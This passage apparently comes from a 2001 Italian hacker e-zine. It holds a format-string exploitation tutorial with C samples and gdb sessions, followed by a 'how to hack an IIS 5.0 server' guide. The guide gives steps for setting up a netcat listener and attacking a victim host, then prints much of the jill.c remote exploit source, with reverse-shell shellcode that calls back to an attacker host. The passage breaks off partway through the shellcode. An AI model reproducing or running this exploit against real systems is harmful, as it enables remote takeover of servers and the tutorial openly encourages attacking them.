|                                                                               |\
| La tecnica del "buffer overflow" si basa sostanzialmente su di un errore di   |\
| programmazione, sulla base del quale una concatenazione o una copia di        |\
| stringhe si                                                                   |\
| presenta (ripeto, a causa di un errore di programmazione) come una stringa    |\
| molto piu'                                                                    |\
| lunga di quanto atteso, con il rislutato di sovrascrivere zone di memoria     |\
| inattese                                                                      |\
| (solitamente lo stack).                                                       |\
|                                                                               |\
| A differenza delle prime, le tecniche basaste sulla mancanza di "input        |\
| validation"                                                                   |\
| si basano sostanzialmente non tanto su un errore di programmazione quanto su  |\
| un mancato                                                                    |\
| controllo della validita' SEMANTICA di una stringa ricevuta in ingresso, con  |\
| la                                                                            |\
| spiacevole conseguenza di lasciare "aperta" una possibilita' ad eventuali     |\
| attaccanti...                                                                 |\
| possibilita' che, come vedremo, viene sfruttata a piene mani... ;)            |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| 3.2. Un esempio "step-by-step" di exploit basato sulla mancata validazione    |\
| dell'input                                                                    |\
|                                                                               |\
| 3.2.1. Cosa c'e' sullo stack?                                                 |\
|                                                                               |\
|                                                                               |\
| Per meglio spiegare i concetti che vedremo di seguito, invito tutti quanti    |\
| ad una serie                                                                  |\
| di sessioni pratiche, a cominciare da ADESSO!                                 |\
|                                                                               |\
|                                                                               |\
| Dotiamoci di una macchina linux e con il nostro editor preferito creiamo il   |\
| file prova1.c                                                                 |\
| inserendo il seguente codice in linguaggio "C"                                |\
|                                                                               |\
| main ()                                                                       |\
| \{                                                                             |\
|     char buffer[4096];                                                        |\
|     int i;                                                                    |\
|                                                                               |\
|     bzero (buffer, 4096);                                                     |\
|                                                                               |\
|     for (i = 0; i < 64; i++)                                                  |\
|           buffer[i] = ' ' + i;                                                |\
|                                                                               |\
|     printf (buffer);                                                          |\
| \}                                                                             |\
|                                                                               |\
| Fatto? Bene. Adesso compiliamo il programma con l'istruzione                  |\
|                                                                               |\
| # gcc -g -o prova1 prova1.c                                                   |\
|                                                                               |\
| ATTENZIONE! E' importante lo switch "-g" che indica al compilatore di         |\
| mantenere valide                                                              |\
| le informazioni per una successiva fase di debugging.                         |\
|                                                                               |\
| Ok, adesso eseguiamo il programma ottenuto, controllandone il comportamento   |\
| con il                                                                        |\
| debugger mediante il comando                                                  |\
|                                                                               |\
| # gdb prova1                                                                  |\
|                                                                               |\
| La parte che segue viene estratta direttamente dalla sessione pratica,        |\
| inframmezzando                                                                |\
| le operazioni con i rispettivi commenti.                                      |\
|                                                                               |\
|                                                                               |\
| # gdb prova1                                                                  |\
| GNU gdb 5.0                                                                   |\
| Copyright 2000 Free Software Foundation, Inc.                                 |\
| GDB is free software, covered by the GNU General Public License, and you are  |\
| welcome to change it and/or distribute copies of it under certain             |\
| conditions.                                                                   |\
| Type "show copying" to see the conditions.                                    |\
| There is absolutely no warranty for GDB.  Type "show warranty" for details.   |\
| This GDB was configured as "i386-redhat-linux"...                             |\
| (gdb) b main                                                                  |\
| Breakpoint 1 at 0x8048495: file prova1.c, line 7.                             |\
| (gdb) r                                                                       |\
| Starting program: /root/Ondaquadra/prova1                                     |\
|                                                                               |\
| Breakpoint 1, main () at prova1.c:7                                           |\
| 7               bzero (buffer, 4096);                                         |\
| (gdb) x $sp                                                                   |\
| 0xbfffea50:     0x000001e7                                                    |\
| (gdb) x buffer                                                                |\
| 0xbfffea60:     0x000006d8                                                    |\
| (gdb) x /10 $sp                                                               |\
| 0xbfffea50:     0x000001e7      0x000007f5      0x000006ea      0x00000305    |\
| 0xbfffea60:     0x000006d8      0x00000779      0x000002b7      0x000004cc    |\
| 0xbfffea70:     0x00000000      0x00000000                                    |\
| (gdb) n                                                                       |\
| 9               for (i = 0; i < 64; i++) buffer[i]=' ' + i;                   |\
| (gdb) n                                                                       |\
| 11              printf (buffer);                                              |\
| (gdb) x /10 $sp                                                               |\
| 0xbfffea50:     0x000001e7      0x000007f5      0x000006ea      0x00000040    |\
| 0xbfffea60:     0x23222120      0x27262524      0x2b2a2928      0x2f2e2d2c    |\
| 0xbfffea70:     0x33323130      0x37363534                                    |\
| (gdb)                                                                         |\
|                                                                               |\
|                                                                               |\
| A questo punto controlliamo l'espansione del programma in linguaggio          |\
| assembler                                                                     |\
|                                                                               |\
|                                                                               |\
| (gdb) disass                                                                  |\
| Dump of assembler code for function main:                                     |\
| 0x804848c <main>:       push   %ebp                                           |\
| 0x804848d <main+1>:     mov    %esp,%ebp                                      |\
| 0x804848f <main+3>:     sub    $0x1018,%esp                                   |\
| 0x8048495 <main+9>:     sub    $0x8,%esp                                      |\
| 0x8048498 <main+12>:    push   $0x1000                                        |\
| 0x804849d <main+17>:    lea    0xffffeff8(%ebp),%eax                          |\
| 0x80484a3 <main+23>:    push   %eax                                           |\
| 0x80484a4 <main+24>:    call   0x8048398 <bzero>                              |\
| 0x80484a9 <main+29>:    add    $0x10,%esp                                     |\
| 0x80484ac <main+32>:    movl   $0x0,0xffffeff4(%ebp)                          |\
| 0x80484b6 <main+42>:    mov    %esi,%esi                                      |\
| 0x80484b8 <main+44>:    cmpl   $0x3f,0xffffeff4(%ebp)                         |\
| 0x80484bf <main+51>:    jle    0x80484c4 <main+56>                            |\
| 0x80484c1 <main+53>:    jmp    0x80484e8 <main+92>                            |\
| 0x80484c3 <main+55>:    nop                                                   |\
| 0x80484c4 <main+56>:    lea    0xffffeff8(%ebp),%eax                          |\
| 0x80484ca <main+62>:    mov    %eax,%ecx                                      |\
| 0x80484cc <main+64>:    mov    0xffffeff4(%ebp),%edx                          |\
| 0x80484d2 <main+70>:    mov    0xffffeff4(%ebp),%al                           |\
| 0x80484d8 <main+76>:    add    $0x20,%eax                                     |\
| 0x80484db <main+79>:    mov    %al,(%edx,%ecx,1)                              |\
| 0x80484de <main+82>:    lea    0xffffeff4(%ebp),%eax                          |\
| ---Type <return> to continue, or q <return> to quit---                        |\
| 0x80484e4 <main+88>:    incl   (%eax)                                         |\
| 0x80484e6 <main+90>:    jmp    0x80484b8 <main+44>                            |\
| 0x80484e8 <main+92>:    sub    $0xc,%esp                                      |\
| 0x80484eb <main+95>:    lea    0xffffeff8(%ebp),%eax                          |\
| 0x80484f1 <main+101>:   push   %eax                                           |\
| 0x80484f2 <main+102>:   call   0x8048378 <printf>                             |\
| 0x80484f7 <main+107>:   add    $0x10,%esp                                     |\
| 0x80484fa <main+110>:   leave                                                 |\
| 0x80484fb <main+111>:   ret                                                   |\
| End of assembler dump.                                                        |\
| (gdb)                                                                         |\
|                                                                               |\
|                                                                               |\
| Notiamo subito che gli indirizzi di memoria appartenenti al range             |\
| 0x804848c-0x80484fb                                                           |\
| appartengono al codice eseguibile, mentre quelli del range                    |\
| 0xbfffea50-0xbfffea80                                                         |\
| fanno parte dello stack. Tramite gli opportuni comandi di gdb e' possibile    |\
| esaminare                                                                     |\
| a nostro piacimento il contenuto di questi spazi di indirizzamento. A titolo  |\
| di                                                                            |\
| studio, impostiamo un breakpoint all'inizio della funzione printf ed          |\
| eseguiamo il                                                                  |\
| programma fino a quel punto                                                   |\
|                                                                               |\
| (gdb) b printf                                                                |\
| Breakpoint 2 at 0x40080d76: file printf.c, line 30.                           |\
| (gdb) c                                                                       |\
| Continuing.                                                                   |\
|                                                                               |\
| Breakpoint 2, printf (                                                        |\
|     format=0xbfffea60 "                                                       |\
| !\\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[                  |\
| \\\\]^_") at printf.c:30                                                        |\
| 30      printf.c: File o directory inesistente.                               |\
| (gdb)                                                                         |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| benissimo. ora possiamo prendere atto di che cosa vi sia effettivamente       |\
| sullo stack;                                                                  |\
| commenteremo insieme il suo contenuto                                         |\
|                                                                               |\
|                                                                               |\
| (gdb) x/20 $sp                                                                |\
| 0xbfffea2c:     0xbfffea60      0x40080d64      0x40143824      0xbffffa68    |\
| 0xbfffea3c:     0x080484f7      0xbfffea60      0x00001000      0x000007e3    |\
| 0xbfffea4c:     0x000006c4      0x000001e7      0x000007f5      0x000006ea    |\
| 0xbfffea5c:     0x00000040      0x23222120      0x27262524      0x2b2a2928    |\
| 0xbfffea6c:     0x2f2e2d2c      0x33323130      0x37363534      0x3b3a3938    |\
| (gdb)                                                                         |\
|                                                                               |\
|                                                                               |\
| notiamo che il buffer (0xbfffea60) e' effettivamente sullo stack ad un certo  |\
| numero                                                                        |\
| di indirizzi successivi a quelli dei parametri della funzione printf          |\
| (0xbfffea40),                                                                 |\
| cosi' si puo' approfittare della cosa inserendo opportunamente i vari         |\
| formattatori                                                                  |\
| per fare in modo che il contenuto del buffer al suo inizio possa essere       |\
| usato come                                                                    |\
| puntatore per il formattatore %n, mettendo l'indirizzo (0xbfffea3c) che       |\
| contiene                                                                      |\
| l'indirizzo di ritorno della funzione printf                                  |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| 3.2.2. L'idea alla base di tutto                                              |\
|                                                                               |\
|                                                                               |\
| L'idea e' quella di passare nel buffer una serie di operatori di              |\
| formattazione in                                                              |\
| modo tale da far "credere" alla funzione di output che esistano altri         |\
| argomenti;                                                                    |\
| poiche' la funzione estrarra' tali argomenti direttamente dallo stack,        |\
| calcolando                                                                    |\
| correttamente il numero di detti argomenti fittizi sara' possibile            |\
| utilizzare dei                                                                |\
| valori contenuti nel buffer stesso, che e' memorizzato dopo un certo numero   |\
| di byte.                                                                      |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| A titolo di esempio di come questo possa avvenire, provate a seguire queste   |\
| due                                                                           |\
| simpatiche sessioni, con codici derivati da quello precedente                 |\
|                                                                               |\
| # cat prova2.c                                                                |\
|                                                                               |\
| main ()                                                                       |\
| \{                                                                             |\
|         char buffer [4096];                                                   |\
|         int i;                                                                |\
|                                                                               |\
|         bzero (buffer, 4096);                                                 |\
|                                                                               |\
|         for (i = 0; i < 10; i++) strcat (&buffer[i*3], "%x\\n");               |\
|                                                                               |\
|         printf (buffer);                                                      |\
| \}                                                                             |\
| #                                                                             |\
|                                                                               |\
| qui riempiamo il buffer con dieci formattatori che si aspettano pertanto di   |\
| trovare                                                                       |\
| dieci argomenti nella chiamata alla printf; poiche', pero', noi non abbiamo   |\
| specificato null'altro che il buffer, i dicei argomenti verranno estratti     |\
| dallo stack,                                                                  |\
| senza nessuna considerazione di cosa veramente vi sia contenuto. Il           |\
| risultato sara'...                                                            |\
|                                                                               |\
| # gcc -g -o prova2 prova2.c                                                   |\
| # gdb prova2                                                                  |\
| GNU gdb 5.0                                                                   |\
| Copyright 2000 Free Software Foundation, Inc.                                 |\
| GDB is free software, covered by the GNU General Public License, and you are  |\
| welcome to change it and/or distribute copies of it under certain             |\
| conditions.                                                                   |\
| Type "show copying" to see the conditions.                                    |\
| There is absolutely no warranty for GDB.  Type "show warranty" for details.   |\
| This GDB was configured as "i386-redhat-linux"...                             |\
|                                                                               |\
|                                                                               |\
| imposto una interruzione nella chiamata della printf ed eseguo fino a quel    |\
| punto                                                                         |\
|                                                                               |\
| (gdb) b printf                                                                |\
| Breakpoint 1 at 0x80483ac                                                     |\
| (gdb) r                                                                       |\
| Starting program: /root/Ondaquadra/prova2                                     |\
| Breakpoint 1 at 0x40080d76: file printf.c, line 30.                           |\
|                                                                               |\
| Breakpoint 1, printf (                                                        |\
|     format=0xbfffea60 "%x\\n%x\\n%x\\n%x\\n%x\\n%x\\n%x\\n%x\\n%x\\n%x\\n")             |\
|     at printf.c:30                                                            |\
| 30      printf.c: File o directory inesistente.                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| esamino lo stack                                                              |\
|                                                                               |\
|                                                                               |\
| (gdb) x/20 $sp                                                                |\
| 0xbfffea2c:     0x080485a4      0x40080d64      0x40143824      0xbffffa68    |\
| 0xbfffea3c:     0x08048537      0xbfffea60      0x080485a4      0x000007e3    |\
| 0xbfffea4c:     0x000006c4      0x000001e7      0x000007f5      0x000006ea    |\
| 0xbfffea5c:     0x0000000a      0x250a7825      0x78250a78      0x0a78250a    |\
| 0xbfffea6c:     0x250a7825      0x78250a78      0x0a78250a      0x250a7825    |\
|                                                                               |\
|                                                                               |\
| ok, proseguiamo e...                                                          |\
|                                                                               |\
|                                                                               |\
| (gdb) c                                                                       |\
| Continuing.                                                                   |\
| 80485a4                                                                       |\
| 7e3                                                                           |\
| 6c4                                                                           |\
| 1e7                                                                           |\
| 7f5                                                                           |\
| 6ea                                                                           |\
| a                                                                             |\
| 250a7825                                                                      |\
| 78250a78                                                                      |\
| a78250a                                                                       |\
|                                                                               |\
| Program exited with code 070.                                                 |\
| (gdb) q                                                                       |\
| #                                                                             |\
|                                                                               |\
|                                                                               |\
| BINGO!!! La funzione printf ha appena stampato il contenuto delle dieci       |\
| locazioni                                                                     |\
| di memoria da 0xbfffea44 a 0xbfffea68, cioe' le locazioni IMMEDIATAMENTE      |\
| successive                                                                    |\
| a quella che conteneva l'unico parametro passato alla printf stessa. Da       |\
| notare che                                                                    |\
| gli ultimi valori sono IL CONTENUTO DEL BUFFER STESSO!!! Mooooolto            |\
| importante! :)                                                                |\
|                                                                               |\
|                                                                               |\
| Proseguiamo adesso con il secondo esempio, ancora piu' interessante           |\
|                                                                               |\
|                                                                               |\
| # cat prova3.c                                                                |\
|                                                                               |\
| main ()                                                                       |\
| \{                                                                             |\
|         char buffer [4096];                                                   |\
|         int i;                                                                |\
|                                                                               |\
|         bzero (buffer, 4096);                                                 |\
|                                                                               |\
|                                                                               |\
|         strcat (buffer, "12345 %n\\n");                                        |\
|                                                                               |\
|                                                                               |\
|         printf (buffer, &i);                                                  |\
| \}                                                                             |\
| #                                                                             |\
|                                                                               |\
| qui abbiamo inserito il formattatore %n che ha come risultato quello di       |\
| SCRIVERE                                                                      |\
| ALL'INDIRIZZO CHE TROVA COME ARGOMENTO il numero di caratteri fino a quel     |\
| momento                                                                       |\
| stampato in output. Per comprendere meglio, abbiamo anche fornito un          |\
| indirizzo                                                                     |\
| valido (l'argomento &i successivo) in modo da dimostrare la funzionalita'     |\
| del                                                                           |\
| formattatore in esame.                                                        |\
|                                                                               |\
|                                                                               |\
| # gcc -g -o prova3 prova3.c                                                   |\
| #                                                                             |\
| # gdb prova3                                                                  |\
| GNU gdb 5.0                                                                   |\
| Copyright 2000 Free Software Foundation, Inc.                                 |\
| GDB is free software, covered by the GNU General Public License, and you are  |\
| welcome to change it and/or distribute copies of it under certain             |\
| conditions.                                                                   |\
| Type "show copying" to see the conditions.                                    |\
| There is absolutely no warranty for GDB.  Type "show warranty" for details.   |\
| This GDB was configured as "i386-redhat-linux"...                             |\
| (gdb) b main                                                                  |\
| Breakpoint 1 at 0x80484c5: file prova3.c, line 7.                             |\
| (gdb) r                                                                       |\
| Starting program: /root/Ondaquadra/prova3                                     |\
|                                                                               |\
| Breakpoint 1, main () at prova3.c:7                                           |\
| 7               bzero (buffer, 4096);                                         |\
| (gdb) p i                                                                     |\
| $1 = 773                                                                      |\
| (gdb) p &i                                                                    |\
| $2 = (int *) 0xbfffea5c                                                       |\
|                                                                               |\
|                                                                               |\
| benissimo: la variabile i vale 773 (un valore casuale presente sullo stack)   |\
| ed il                                                                         |\
| suo indirizzo e' 0xbfffea5c.                                                  |\
|                                                                               |\
|                                                                               |\
| (gdb) b printf                                                                |\
| Breakpoint 2 at 0x40080d76: file printf.c, line 30.                           |\
| (gdb) c                                                                       |\
| Continuing.                                                                   |\
|                                                                               |\
| Breakpoint 2, printf (format=0xbfffea60 "12345 %n\\n") at printf.c:30          |\
| 30      printf.c: File o directory inesistente.                               |\
|                                                                               |\
| ok. siamo nella printf. esaminiamo il contenuto dello stack                   |\
|                                                                               |\
|                                                                               |\
| (gdb) x/20 $sp                                                                |\
| 0xbfffea2c:     0x0804857c      0x40080d64      0x40143824      0xbffffa68    |\
| 0xbfffea3c:     0x08048509      0xbfffea60      0xbfffea5c      0x000007e3    |\
| 0xbfffea4c:     0x000006c4      0x000001e7      0x000007f5      0x000006ea    |\
| 0xbfffea5c:     0x00000305      0x34333231      0x6e252035      0x0000000a    |\
| 0xbfffea6c:     0x00000000      0x00000000      0x00000000      0x00000000    |\
|                                                                               |\
|                                                                               |\
| qui si vede come nella locazione 0xbfffea40 sia memorizzato l'indirizzo del   |\
| buffer (0xbfffea60) ed in quella successiva sia memorizzato l'indirizzo       |\
| della                                                                         |\
| variabile i, in modo tale che il formattatore %n trovi un indirizzo valido.   |\
|                                                                               |\
| (gdb) n                                                                       |\
| 31      in printf.c                                                           |\
| (gdb) n                                                                       |\
| 12345                                                                         |\
| 35      in printf.c                                                           |\
|                                                                               |\
| ecco fatto! In output vediamo solo i primi caratteri del buffer (ovviamente)  |\
| ma                                                                            |\
| nella realta' la printf ha anche scritto il numero di caratteri finora        |\
| stampati                                                                      |\
| (e cioe' sei, vi ricordo IL BLANK prima del formattatore vero e proprio)      |\
| all'indirizzo                                                                 |\
| trovato come argomento sullo stack, ossia nella variabile i                   |\
|                                                                               |\
|                                                                               |\
| (gdb) n                                                                       |\
| 34      in printf.c                                                           |\
| (gdb) n                                                                       |\
| 35      in printf.c                                                           |\
| (gdb) n                                                                       |\
| main () at prova3.c:14                                                        |\
| 14      \}                                                                     |\
| (gdb) p i                                                                     |\
| $4 = 6                                                                        |\
|                                                                               |\
|                                                                               |\
| come volevasi dimostrare! :)                                                  |\
|                                                                               |\
|                                                                               |\
| (gdb) c                                                                       |\
| Continuing.                                                                   |\
|                                                                               |\
| Program exited with code 07.                                                  |\
| (gdb) q                                                                       |\
| #                                                                             |\
|                                                                               |\
| A questo punto risulta chiaro che abbiamo tutti gli strumenti e tutte le      |\
| informazioni per potere fare qualcosa di davvero molto interessante.          |\
| Ricapitoliamo:                                                                |\
|                                                                               |\
| - sappiamo come "navigare" lo stack inserendo ad arte un numero opportuno di  |\
|   formattatori di tipo %x                                                     |\
|                                                                               |\
| - sappiamo come utilizzare il formattatore %n per scrivere valori in zone di  |\
|   memoria il cui indirizzo sia sullo stack                                    |\
|                                                                               |\
| - sappiamo che il nostro buffer e' fisicamente presente sullo stack in una    |\
|   posizione che ci permette di raggiungerlo con una sapiente sequenza di      |\
|   formattatori                                                                |\
|                                                                               |\
| ...non devo aggiungere altro, mi pare, no? :)                                 |\
|                                                                               |\
| ed infatti per questa puntata non lo faro'. Lascio a voi il piacere di        |\
| sperimentare                                                                  |\
| le tecniche appena analizzate e, proprio per i piu' pigri, la prossima volta  |\
| vi                                                                            |\
| forniro' le ultime informazioni necessarie per completare l'opera (ma il      |\
| riuscirci                                                                     |\
| da soli sarebbe davvero una soddisfazione non da poco... o sbaglio? ;) ;) ;)  |\
|                                                                               |\
|                                                                               |\
| ...alla prossima                                                              |\
|                                                                               |\
|                                                                               |\
| xyzzy                                                                         |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L'ANG0L0 DEGLi EXPL0iT]                        #04 - 19/11/2001 |\
| IIS 5.0 PRiNTER 0VERFL0W                         [MightyInquisitor] 0x0B/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Titolo: IIS 5.0 PRINTER OVERFLOW                                              |\
| Autore: MightyInquisitor                                                      |\
| Home-page: www.mightyinquisitor.cjb.net                                       |\
| E-mail: mightyinquisitor@mightyinquisitor.cjb.net                             |\
| Irc: irc.azzurranet.org - canale: #hackmaniaci                                |\
|                                                                               |\
|                                                                               |\
| DiSCLAiMER_LEGALi                                                             |\
| QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE,         |\
| MightyInquisitor, DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE  |\
| FATT0. L'AUTORE, DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi      |\
| iLLEGALi.                                                                     |\
|                                                                               |\
|                                                                               |\
| cat Index.txt                                                                 |\
| --------------                                                                |\
| /Index.txt                                                                    |\
| /Intro.txt                                                                    |\
| /Munizioni.txt                                                                |\
| /Go.txt                                                                       |\
| /Saluti.txt                                                                   |\
| --------------                                                                |\
|                                                                               |\
|                                                                               |\
| cat Intro.txt                                                                 |\
| ----------------------------------------------------------------------------- |\
| Come molti di voi sapranno, win2k \'e8 pieno di bug, come del resto tutti i      |\
| prodotti di casa                                                              |\
| microsux. In questo testo vi racconto una bella storiella, ovvero come        |\
| hakkare un server                                                             |\
| iis 5.0 sfruttando un bug molto simpatico: il '.print overflow'.              |\
| Passiamo quindi ora alla pratica, che \'e8 quello che voi preferite, o no?       |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat Munizioni.txt                                                             |\
| ----------------------------------------------------------------------------- |\
| Premetto che non \'e8 semplicissima questa tecnica di hacking, ma che da buoni   |\
| risultati, se                                                                 |\
| si trova un server iis 5.0 vulnerabile al .print overflow. Purtroppo per\'f2     |\
| devi dirvi che                                                                |\
| questo bug \'e8 stato patchato dalla maggior parte dei sysadmin di server        |\
| microsux, non                                                                 |\
| demoralizzatevi per\'f2 e ricordate: dove c'\'e8 microsoft c'\'e8 bug.                 |\
| Allora, volate su www.packetstormsecurity.com e scaricate:                    |\
| - jill.c                                                                      |\
| - nc110.tgz                                                                   |\
| Questi sono gli unici due file necessari per exploitare il server che         |\
| vogliamo noi.                                                                 |\
|                                                                               |\
| Jill.c: questo \'e8 il vero e proprio exploit, un sorgente in C.                 |\
| Nc110.tgz: questo \'e8 il net cat, la versione per linux ovviamente, visto che   |\
| in questo tut.                                                                |\
| vi spiego come exploitare il server iis dalla vostra linux box.               |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat Go.txt                                                                    |\
| ----------------------------------------------------------------------------- |\
| :Primo punto:                                                                 |\
| Apri due shell, possono essere due console in locale oppure due shell         |\
| hakkate oppure due                                                            |\
| shell pubbliche. L'importante \'e8 che siano due.                                |\
| Nella prima userai net cat e lo metterai in ascolto su una porta del sistema  |\
| dove lo stai                                                                  |\
| eseguendo; nella seconda userai jill (l'exploit) in un secondo momento.       |\
|                                                                               |\
| :Secondo punto:                                                               |\
| Entra nella directory dove hai scaricato il file 'jill.c', compilalo con il   |\
| seguente                                                                      |\
| comando: 'gcc -o jill jill.c'.                                                |\
|                                                                               |\
| Nota: In caso tu non abbia trovato il file jill.c su packetstorm, ho          |\
| riportato il sorgente                                                         |\
| intero, basta che lo copi in un file col nome jill.c e poi lo compili come    |\
| ho scritto sopra.                                                             |\
|                                                                               |\
| .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. |\
| /* SORGENTE DI JILL.C                                                         |\
| * IIS 5 remote .printer overflow. "jill.c" (don't ask).                       |\
| *                                                                             |\
| *  by: dark spyrit <dspyrit@beavuh.org>                                       |\
| *                                                                             |\
| *  respect to eeye for finding this one - nice work.                          |\
| *  shouts to halvar, neofight and the beavuh bitchez.                         |\
| *                                                                             |\
| *  this exploit overwrites an exception frame to control eip and get to       |\
| *  our code.. the code then locates the pointer to our larger buffer and      |\
| *  execs.                                                                     |\
| *                                                                             |\
| *  usage: jill <victim host> <victim port> <attacker host> <attacker port>    |\
| *                                                                             |\
| *  the shellcode spawns a reverse cmd shell.. so you need to set up a         |\
| *  netcat listener on the host you control.                                   |\
| *                                                                             |\
| *  Ex: nc -l -p <attacker port> -vv                                           |\
| *                                                                             |\
| *  I haven't slept in years.                                                  |\
| */                                                                            |\
|                                                                               |\
| #include <sys/types.h>                                                        |\
| #include <sys/time.h>                                                         |\
| #include <sys/socket.h>                                                       |\
| #include <netinet/in.h>                                                       |\
| #include <arpa/inet.h>                                                        |\
| #include <unistd.h>                                                           |\
| #include <errno.h>                                                            |\
| #include <stdlib.h>                                                           |\
| #include <stdio.h>                                                            |\
| #include <string.h>                                                           |\
| #include <fcntl.h>                                                            |\
| #include <netdb.h>                                                            |\
|                                                                               |\
| int main(int argc, char *argv[])\{                                             |\
|                                                                               |\
| /* the whole request rolled into one, pretty huh? carez. */                   |\
|                                                                               |\
| unsigned char sploit[]=                                                       |\
| "\\x47\\x45\\x54\\x20\\x2f\\x4e\\x55\\x4c\\x4c\\x2e\\x70\\x72\\x69\\x6e\\x74\\x65\\x72\\x20"    |\
| "\\x48\\x54\\x54\\x50\\x2f\\x31\\x2e\\x30\\x0d\\x0a\\x42\\x65\\x61\\x76\\x75\\x68\\x3a\\x20"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\xeb\\x03\\x5d\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x83\\xc5\\x15\\x90\\x90\\x90"    |\
| "\\x8b\\xc5\\x33\\xc9\\x66\\xb9\\xd7\\x02\\x50\\x80\\x30\\x95\\x40\\xe2\\xfa\\x2d\\x95\\x95"    |\
| "\\x64\\xe2\\x14\\xad\\xd8\\xcf\\x05\\x95\\xe1\\x96\\xdd\\x7e\\x60\\x7d\\x95\\x95\\x95\\x95"    |\
| "\\xc8\\x1e\\x40\\x14\\x7f\\x9a\\x6b\\x6a\\x6a\\x1e\\x4d\\x1e\\xe6\\xa9\\x96\\x66\\x1e\\xe3"    |\
| "\\xed\\x96\\x66\\x1e\\xeb\\xb5\\x96\\x6e\\x1e\\xdb\\x81\\xa6\\x78\\xc3\\xc2\\xc4\\x1e\\xaa"    |\
| "\\x96\\x6e\\x1e\\x67\\x2c\\x9b\\x95\\x95\\x95\\x66\\x33\\xe1\\x9d\\xcc\\xca\\x16\\x52\\x91"    |\
| "\\xd0\\x77\\x72\\xcc\\xca\\xcb\\x1e\\x58\\x1e\\xd3\\xb1\\x96\\x56\\x44\\x74\\x96\\x54\\xa6"    |\
| "\\x5c\\xf3\\x1e\\x9d\\x1e\\xd3\\x89\\x96\\x56\\x54\\x74\\x97\\x96\\x54\\x1e\\x95\\x96\\x56"    |\
| "\\x1e\\x67\\x1e\\x6b\\x1e\\x45\\x2c\\x9e\\x95\\x95\\x95\\x7d\\xe1\\x94\\x95\\x95\\xa6\\x55"    |\
| "\\x39\\x10\\x55\\xe0\\x6c\\xc7\\xc3\\x6a\\xc2\\x41\\xcf\\x1e\\x4d\\x2c\\x93\\x95\\x95\\x95"    |\
| "\\x7d\\xce\\x94\\x95\\x95\\x52\\xd2\\xf1\\x99\\x95\\x95\\x95\\x52\\xd2\\xfd\\x95\\x95\\x95"    |\
| "\\x95\\x52\\xd2\\xf9\\x94\\x95\\x95\\x95\\xff\\x95\\x18\\xd2\\xf1\\xc5\\x18\\xd2\\x85\\xc5"    |\
| "\\x18\\xd2\\x81\\xc5\\x6a\\xc2\\x55\\xff\\x95\\x18\\xd2\\xf1\\xc5\\x18\\xd2\\x8d\\xc5\\x18"    |\
| "\\xd2\\x89\\xc5\\x6a\\xc2\\x55\\x52\\xd2\\xb5\\xd1\\x95\\x95\\x95\\x18\\xd2\\xb5\\xc5\\x6a"    |\
| "\\xc2\\x51\\x1e\\xd2\\x85\\x1c\\xd2\\xc9\\x1c\\xd2\\xf5\\x1e\\xd2\\x89\\x1c\\xd2\\xcd\\x14"    |\
| "\\xda\\xd9\\x94\\x94\\x95\\x95\\xf3\\x52\\xd2\\xc5\\x95\\x95\\x18\\xd2\\xe5\\xc5\\x18\\xd2"    |\
| "\\xb5\\xc5\\xa6\\x55\\xc5\\xc5\\xc5\\xff\\x94\\xc5\\xc5\\x7d\\x95\\x95\\x95\\x95\\xc8\\x14"    |\
| "\\x78\\xd5\\x6b\\x6a\\x6a\\xc0\\xc5\\x6a\\xc2\\x5d\\x6a\\xe2\\x85\\x6a\\xc2\\x71\\x6a\\xe2"    |\
| "\\x89\\x6a\\xc2\\x71\\xfd\\x95\\x91\\x95\\x95\\xff\\xd5\\x6a\\xc2\\x45\\x1e\\x7d\\xc5\\xfd"    |\
| "\\x94\\x94\\x95\\x95\\x6a\\xc2\\x7d\\x10\\x55\\x9a\\x10\\x3f\\x95\\x95\\x95\\xa6\\x55\\xc5"    |\
| "\\xd5\\xc5\\xd5\\xc5\\x6a\\xc2\\x79\\x16\\x6d\\x6a\\x9a\\x11\\x02\\x95\\x95\\x95\\x1e\\x4d"    |\
| "\\xf3\\x52\\x92\\x97\\x95\\xf3\\x52\\xd2\\x97\\x8e\\xac\\x52\\xd2\\x91\\x5e\\x38\\x4c\\xb3"    |\
| "\\xff\\x85\\x18\\x92\\xc5\\xc6\\x6a\\xc2\\x61\\xff\\xa7\\x6a\\xc2\\x49\\xa6\\x5c\\xc4\\xc3"    |\
| "\\xc4\\xc4\\xc4\\x6a\\xe2\\x81\\x6a\\xc2\\x59\\x10\\x55\\xe1\\xf5\\x05\\x05\\x05\\x05\\x15"    |\
| "\\xab\\x95\\xe1\\xba\\x05\\x05\\x05\\x05\\xff\\x95\\xc3\\xfd\\x95\\x91\\x95\\x95\\xc0\\x6a"    |\
| "\\xe2\\x81\\x6a\\xc2\\x4d\\x10\\x55\\xe1\\xd5\\x05\\x05\\x05\\x05\\xff\\x95\\x6a\\xa3\\xc0"    |\
| "\\xc6\\x6a\\xc2\\x6d\\x16\\x6d\\x6a\\xe1\\xbb\\x05\\x05\\x05\\x05\\x7e\\x27\\xff\\x95\\xfd"    |\
| "\\x95\\x91\\x95\\x95\\xc0\\xc6\\x6a\\xc2\\x69\\x10\\x55\\xe9\\x8d\\x05\\x05\\x05\\x05\\xe1"    |\
